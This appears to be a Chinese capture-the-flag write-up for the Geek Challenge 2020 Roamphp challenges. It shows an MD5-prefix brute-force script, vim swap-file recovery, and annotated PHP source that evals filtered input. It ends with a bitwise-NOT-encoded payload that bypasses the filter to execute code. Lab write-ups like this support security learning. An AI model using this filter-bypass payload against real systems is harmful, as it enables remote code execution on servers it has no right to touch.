进入靶场
if:substr(md5($code),0,5)==4a94f
对 $code 进行 MD5 哈希运算,然后取结果的前 5 个字符
判断取出来的前 5 个字符是否等于 "4a94f"
import hashlib
import itertools
import string# 目标 MD5 哈希值的前 5 个字符
target = "4a94f"# 定义字符集,这里包含所有小写字母、大写字母和数字
charset = string.ascii_letters + string.digits# 从较短的字符串长度开始尝试
for length in range(1, 10):# 生成所有可能的字符组合for combination in itertools.product(charset, repeat=length):test_string = ''.join(combination)# 计算字符串的 MD5 哈希值md5_hash = hashlib.md5(test_string.encode()).hexdigest()# 截取 MD5 哈希值的前 5 个字符md5_prefix = md5_hash[:5]# 检查是否匹配目标值if md5_prefix == target:print(f"找到匹配的 code 值: {test_string}")breakelse:# 如果内层循环没有被 break 中断,则继续尝试更长的字符串continue# 如果内层循环被 break 中断,说明已经找到匹配值,跳出外层循环break
else:print("未找到匹配的 code 值。")
JWl
看看源代码
找到一张图片
扫描后是
EGG{a_6ea4t1441_e99_in_QR_c0de}
去抓包
vim swp
三次都尝试之后,我才反应过来,我输的是文件的格式.........
带个文件名看看
找到一个
点开看看
先去官网下载能打开这个文件的软件
下载好后在cmd输入命令
vim -r /path/to/your/file.swp
/path/to/your/file.swp
替换为你实际的 .swp
文件路径
恢复后的内容就会写入到这个文件中
<?php
// 设置错误报告级别为 0,即不显示任何 PHP 错误信息,避免泄露敏感信息
error_reporting(0);// 启动会话,用于存储和管理用户的会话数据
session_start();// 检查会话中是否已经设置了 'code' 变量
if(!isset($_SESSION['code'])){// 如果会话中未设置 'code' 变量,则生成一个新的验证码// 生成两个随机数,分别进行 sha1 和 md5 哈希处理,然后拼接结果// 最后截取拼接后字符串的前 5 个字符作为验证码$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);// 以上步骤获得验证数字
}// 检查是否通过 POST 方法传递了 'cmd' 和 'code' 参数
if(isset($_POST['cmd']) and isset($_POST['code'])){// 对用户通过 POST 方法提交的 'code' 参数进行 md5 哈希处理,并截取前 5 个字符// 检查该结果是否与会话中存储的验证码不相等if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){// 如果不相等,说明验证码输入错误// 使用 JavaScript 的 alert 函数弹出提示框,提示用户验证码错误// 然后使用 history.back() 方法让用户返回上一页die('<script>alert(\'Captcha error~\');history.back()</script>');}// 如果验证码验证通过,生成一个新的验证码并更新会话中的 'code' 变量$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);// 将用户通过 POST 方法提交的 'cmd' 参数赋值给变量 $code$code = $_POST['cmd'];// 检查 $code 的长度是否超过 70 个字符,或者是否包含指定的字符// 使用 preg_match 函数进行正则表达式匹配,检查是否包含字母、数字、各种符号等if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){// 如果满足上述条件之一,说明输入不符合要求// 使用 JavaScript 的 alert 函数弹出提示框,提示用户输入不被允许// 然后使用 history.back() 方法让用户返回上一页die('<script>alert(\'Longlone not like you~\');history.back()</script>');} // 使用 preg_replace 函数对 $code 进行处理,移除所有函数调用// 然后检查处理后的结果是否等于 ';'else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){// 如果满足条件,则使用 eval 函数执行 $code 中的代码// @ 符号用于抑制可能出现的错误信息@eval($code);// 执行完代码后终止脚本执行die();}
}
要通过post方式
再抓包
[极客大挑战 2020]Roamphp 1、2、4_[极客大挑战 2020]rceme-CSDN博客
cmd
= '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data
= f'code={code}&cmd={cmd}'
code=916558
传递即可